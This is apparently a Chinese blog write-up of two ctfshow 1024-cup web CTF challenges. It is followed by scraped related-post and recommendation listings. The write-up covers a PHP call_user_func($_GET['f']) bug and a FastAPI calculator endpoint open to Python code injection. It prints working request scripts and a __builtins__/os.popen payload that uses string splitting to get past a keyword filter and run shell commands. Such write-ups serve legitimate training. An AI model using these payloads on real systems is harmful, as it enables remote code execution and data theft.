------------恢复内容开始------------

  今年1024忙得厉害,去大上海参加geekpwn膜拜大佬,几家平台的题目没怎么好好看。特别是小破站的比赛拉跨的一批,bytectf的web到了第二天晚上所有题的题解加在一起还没有10解直接劝退(yuligeyyds!!!)。第回南京之后做了两道1024的题目,难度偏简单,在此记录一下。

  1.1024_WEB签到

  开题得源码

  

 1 <?php
2
3 /*
4 # -*- coding: utf-8 -*-
5 # @Author: h1xa
6 # @Date: 2020-10-20 23:59:00
7 # @Last Modified by: h1xa
8 # @Last Modified time: 2020-10-21 03:51:36
9 # @email: h1xa@ctfer.com
10 # @link: https://ctfer.com
11
12 */
13
14 error_reporting(0);
15 highlight_file(__FILE__);
16 call_user_func($_GET['f']);

  看到危险函数call_user_func($_GET['f']);  第一反应应该是上传一句话木马getshell,但是这里只传入了一个参数进行执行,还以为是什么奇技淫巧,本地开了一个环境去测试。因为我在ubuntu的php环境是php5,所以在本地使用?f=assert(phpinfo())的时候确实是成功了,但是拿到题目环境里面插入一句话木马一直没能成功,才反应过来是php版本问题。

  传统的call_user_func 使用方法是call_user_func($func,$value),前面的是要执行的函数名字,后面是传入函数的参数值。一般来说$func传入的是assert,$value传入我们要执行的代码以达到rce的目的(在call_user_func中不能使用eval)。

  本题因为只有一个传入参数,并且传入的默认为是$value,所以我们先传入phpinfo试试,结果成功得到界面。

  通过查看phpinfo的信息我们直接发现了一个可执行的函数:

  传入f=ctfshow_1024执行函数得到flag,简单粗暴。

  flag{welcome_2_ctfshow_1024_cup}

2.1024_fastapi

  打开题目得到的是一个json数据,看了一眼题目fastapi,百度告诉我们FastAPI是基于python3.6+和标准python类型的一个现代化的,快速的(高性能),构建api的web框架。

  • Fast: 非常高的性能,媲美nodejs和go。可用的最快的Python框架之一.
  • Fast to Code 增加了200%~300%开发功能的速度
  • Fewer Buys 减少了40%的人为开发错误
  • Intuitive 伟大的编辑支持。减少了debug时间。
  • Easy 简单的使用和学习设计,减少了阅读文档的时间。
  • Short 减少代码重复,每个参数声明的多个特性,更少的错误。
  • Robust 获得生产就绪代码。自动交互文档。
  • Standards-based 基于开放的标准API: OpenAPIJSON Schema

  是python框架啊,那没事了,盲猜ssti。挂一个万能ssti文章:https://www.anquanke.com/post/id/188172

  稍微了解了一下fastapi得知它具有方便的api文档/redoc和/docs 在本题中我们尝试打开得到如下界面:

  看到此站点下还有一个/cccalccc页面,内容是一个计算器的实现,传入参数q应该是一个可以执行的计算式,显然我们的注入点就在这个q上面。几次测试之后发现{payload}能够实现注入,但是发现结果为list或string类型的都Internal Server Error或结果为空,尝试将string切片显示,发现成功出现回显。编写jio本康康有什么可以利用的模块:

1 import requests
2
3 url='http://4cfb3ea5-9890-4c75-a6ef-9e64bfa8abc5.chall.ctf.show/cccalccc'
4 for i in range(500):
5 data={'q':'str([].__class__.__base__.__subclasses__()['+str(i)+'])[1:]'}
6 r=requests.post(url,data)
7 print(i ,r.text)

本题的环境是python3,所以利用方式要比python2中file模块的调用复杂多了。主要是利用__builtins__中的函数进行文件读取利用等等,而含有__builtins__的内建函数有这些:

(59, <class 'warnings.WarningMessage'>, '__builtins__')
(60, <class 'warnings.catch_warnings'>, '__builtins__')
(61, <class '_weakrefset._IterationGuard'>, '__builtins__')
(62, <class '_weakrefset.WeakSet'>, '__builtins__')
(72, <class 'site._Printer'>, '__builtins__')
(77, <class 'site.Quitter'>, '__builtins__')
(78, <class 'codecs.IncrementalEncoder'>, '__builtins__')
(79, <class 'codecs.IncrementalDecoder'>, '__builtins__')

可以利用的内建函数还有os和linechache等,具体情况具体分析,多看看上面给出的那篇参考文章。

  刚刚脚本跑出来的内建函数中发现了188.warnings.WarningMessage和189warnings.catch_warnings,可以进行利用

  尝试列出当前目录下的所有文件

  

1 import requests
2
3 url = 'http://4cfb3ea5-9890-4c75-a6ef-9e64bfa8abc5.chall.ctf.show/cccalccc'
4 payload = '{str([].__class__.__base__.__subclasses__()[188].__init__.__globals__[\'__builtins__\'][\'__import__\'](\'os\').system(\'ls\'))[1:]}'
5 data = {'q':payload}
6 r = requests.post(url,data)
7 print(r.text)

//{"res":"hack out!","err":false}

  发现过滤了system和import,import尝试使用im+port进行绕过,system使用popen代替,结尾要使用.read(),不然没有回显。

  关于popen:

用法:os.popen(command[,mode[,bufsize]])

说明:mode – 模式权限可以是 ‘r’(默认) 或 ‘w’。

popen方法通过p.read()获取终端输出,而且popen需要关闭close().当执行成功时,close()不返回任何值,失败时,close()返回系统返回值(失败返回1). 可见它获取返回值的方式和os.system不同。

  把payload改成

payload = '{str([].__class__.__base__.__subclasses__()[189].__init__.__globals__[\'__builtins__\'][\'__imp\'+\'ort__\'](\'os\').__dict__[\'pop\'+\'en\'](\'ls\').read())[1:]}'

  成功读取到当前的文件列表:{"res":["ain.py\nstart.sh\n"],"err":false}
  因为我们使用的是切片回显,所以第一个文件应该是main.py,m被切掉了。我们尝试去读取main.py的内容,结果如下:

  找到提示告诉我们flag在/mnt/f1a9里面,直接读取获得flag:

  flag{ea066230-29c9-4cbb-b1b9-2e8b4edf4abf}

ctfshow 1024杯 部分web题解的更多相关文章

  1. 蓝桥杯练习 Day6 题解

    蓝桥杯练习 Day6 题解 A 题意:给你一个等式ax+by = c,问你x,y是否有整数解. 思路:gcd(a,b) = t,如果方程有解,那么\((a/t)*x + (b/t)*y = c/t\) ...

  2. 网鼎杯玄武组部分web题解

    查看JS,在JS中找到p14.php,直接copy下来console执行,输入战队的token就可以了 js_on 顺手输入一个 admin admin,看到下面的信息 欢迎admin这里是你的信息: ...

  3. [Bugku]Web题解

    bugku地址链接:https://ctf.bugku.com 1.web2 浏览器就显示一堆动态笑脸,时间长了密集恐惧症了. 解法1: F12查看源码 解法2: 地址栏输入: view-source ...

  4. 2019全国大学生数学建模竞赛(高教社杯)A题题解

    文件下载:https://www.lanzous.com/i6x5iif 问题一 整体过程: 0x01. 首先,需要确定燃油进入和喷出的间歇性工作过程的时间关系.考虑使用决策变量对一段时间内燃油进入和 ...

  5. CTF_show平台 web题解 part3

    web13 题目显示文件上传,各类型上传均提示错误,在使用ctf-scan扫描的时候,发现upload.php.bak. 查看源码: <?php header("content-typ ...

  6. CTF_show平台 web题解 part2

    web10 WITH ROLLUP 绕过 点击取消键弹出源码下载: 源码如下: <?php $flag=""; function replaceSpecialChar($st ...

  7. CTF_show平台 web题解 part1

    web3 题目描述: 方法一:RFI 使用url实现php远程文件包含 在服务器上构造1.txt <?php $a = "<?php eval(\$_POST['123'])?& ...

  8. [原题复现+审计][网鼎杯 2018] WEB Fakebook(SSRF、反序列化、SQL注入)

    简介  原题复现:  考察知识点:SSRF.反序列化.SQL注入  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 过 ...

  9. CTFshow萌新赛-web签到

    打开靶机 查看页面信息 可以看到有一个system函数 在Linux中可以使用":"隔离不同的语句 payload如下 https://5105c8b6-83aa-4993-91b ...

随机推荐

  1. 实现队列的基本操作(数据结构)-python版

    class Queue: def __init__(self): self.entries = [] self.length = 0 self.front = 0 def put(self, item ...

  2. Centos7防火墙以及端口控制

    开启防火墙 systemctl start firewalld.service --启动firewall systemctl enable firewalld.service --开机时启动firew ...

  3. AI小白必读:深度学习、迁移学习、强化学习别再傻傻分不清

    摘要:诸多关于人工智能的流行词汇萦绕在我们耳边,比如深度学习 (Deep Learning).强化学习 (Reinforcement Learning).迁移学习 (Transfer Learning ...

  4. Mac更换鼠标指针样式_mousecape教程

    mousecape项目介绍 这是github上的一个项目,作者是alexzielenski. 项目是用于修改Mac系统鼠标样式的,支持动态鼠标样式. 该项目停止更新于2014年,目前仍可以被较新的系统 ...

  5. is_mobile()判断手机移动设备

    is_mobile()判断手机移动设备.md is_mobile()判断手机移动设备 制作响应式主题时会根据不同的设备推送不同的内容,是基于移动设备网络带宽压力,避免全局接收pc端内容. functi ...

  6. Go-简介

    Go简介 Google开发,新的具有面向接口.函数式编程.并发编程特点的编译性强类型通用编程语言 Go核心 1. 接口 2. 并发编程 3. 函数 Go-接口 package main import ...

  7. makefile实验三 理解make工作的基本原则

    代码简单,但测试花样多,若能回答对本博客的每个步骤的预期结果,可以说对makefile的基础掌握是扎实的. 一,当前的makefile代码 root@ubuntu:~/Makefile_Test# r ...

  8. 08 . Jenkins之SpringCloud微服务+Vue+Docker持续集成

    简介 大致流程 /* 1.开发人员每天把代码提交到Gitlab代码仓库 2.jenkins从gitlab中拉取项目源码,编译并打包成war包,然后构建Docker镜像,将镜像上传到Harbor私有仓库 ...

  9. 【题解】 [EZEC-4]求和

    对于百分之十的数据:随便过. 下面推式子: \[\sum_{i=1}^n\sum_{j=1}^n\gcd(i,j)^{i+j} \] \[=\sum_{d=1}^n\sum_{i=1}^n\sum_{ ...

  10. 达梦产品技术支持培训-day8-DM8数据库备份与还原-实操

    1.DM8的备份还原方法 Disql 工具:联机数据备份与还原,包括库备份.表空间备份与还原.表备份与还原:  DMRMAN 工具:脱机数据库备份还原与恢复: 客户端工具 MANAGER和CONSOL ...